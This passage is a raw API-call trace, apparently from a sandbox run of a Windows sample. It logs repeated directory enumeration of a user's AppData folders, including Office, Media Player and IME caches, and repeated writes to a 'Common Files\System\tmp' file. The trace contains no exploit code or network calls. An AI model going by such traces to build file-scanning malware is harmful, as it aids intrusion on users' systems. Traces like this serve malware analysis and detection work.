ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.394] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.394] GetLastError () returned 0x12 [0145.394] AreFileApisANSI () returned 1 [0145.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.394] GetFileType (hFile=0x180) returned 0x1 [0145.394] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.394] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.395] GetLastError () returned 0x12 [0145.395] AreFileApisANSI () returned 1 [0145.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.395] GetFileType (hFile=0x180) returned 0x1 [0145.395] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.395] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.395] GetLastError () returned 0x12 [0145.395] AreFileApisANSI () returned 1 [0145.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.395] GetFileType (hFile=0x180) returned 0x1 [0145.396] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.396] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.396] GetLastError () returned 0x12 [0145.396] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.396] GetLastError () returned 0x12 [0145.396] AreFileApisANSI () returned 1 [0145.396] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.396] GetFileType (hFile=0x17c) returned 0x1 [0145.396] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.444] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.444] GetLastError () returned 0x12 [0145.444] AreFileApisANSI () returned 1 [0145.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.444] GetFileType (hFile=0x17c) returned 0x1 [0145.444] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.445] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.445] GetLastError () returned 0x12 [0145.445] AreFileApisANSI () returned 1 [0145.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.445] GetFileType (hFile=0x17c) returned 0x1 [0145.445] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.446] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.446] GetLastError () returned 0x12 [0145.446] AreFileApisANSI () returned 1 [0145.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.446] GetFileType (hFile=0x17c) returned 0x1 [0145.446] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.446] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.447] GetLastError () returned 0x12 [0145.447] AreFileApisANSI () returned 1 [0145.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.447] GetFileType (hFile=0x17c) returned 0x1 [0145.447] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.447] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.447] GetLastError () returned 0x12 [0145.447] AreFileApisANSI () returned 1 [0145.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.448] GetFileType (hFile=0x17c) returned 0x1 [0145.448] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.448] AreFileApisANSI () returned 1 [0145.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.448] GetFileType (hFile=0x180) returned 0x1 [0145.448] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.448] AreFileApisANSI () returned 1 [0145.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.448] GetFileType (hFile=0x184) returned 0x1 [0145.449] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.449] AreFileApisANSI () returned 1 [0145.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.449] GetFileType (hFile=0x188) returned 0x1 [0145.449] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.450] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.451] GetLastError () returned 0x12 [0145.451] AreFileApisANSI () returned 1 [0145.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.451] GetFileType (hFile=0x188) returned 0x1 [0145.451] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.452] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.452] GetLastError () returned 0x12 [0145.452] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.452] GetLastError () returned 0x12 [0145.452] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.453] GetLastError () returned 0x12 [0145.453] AreFileApisANSI () returned 1 [0145.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.453] GetFileType (hFile=0x180) returned 0x1 [0145.453] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.453] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.453] GetLastError () returned 0x12 [0145.453] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.453] GetLastError () returned 0x12 [0145.453] AreFileApisANSI () returned 1 [0145.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.454] GetFileType (hFile=0x17c) returned 0x1 [0145.454] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.454] AreFileApisANSI () returned 1 [0145.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.454] GetFileType (hFile=0x180) returned 0x1 [0145.454] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.455] AreFileApisANSI () returned 1 [0145.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.455] GetFileType (hFile=0x184) returned 0x1 [0145.455] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.455] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.455] GetLastError () returned 0x12 [0145.455] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.456] GetLastError () returned 0x12 [0145.457] AreFileApisANSI () returned 1 [0145.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.457] GetFileType (hFile=0x180) returned 0x1 [0145.458] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.458] AreFileApisANSI () returned 1 [0145.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.458] GetFileType (hFile=0x184) returned 0x1 [0145.459] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, 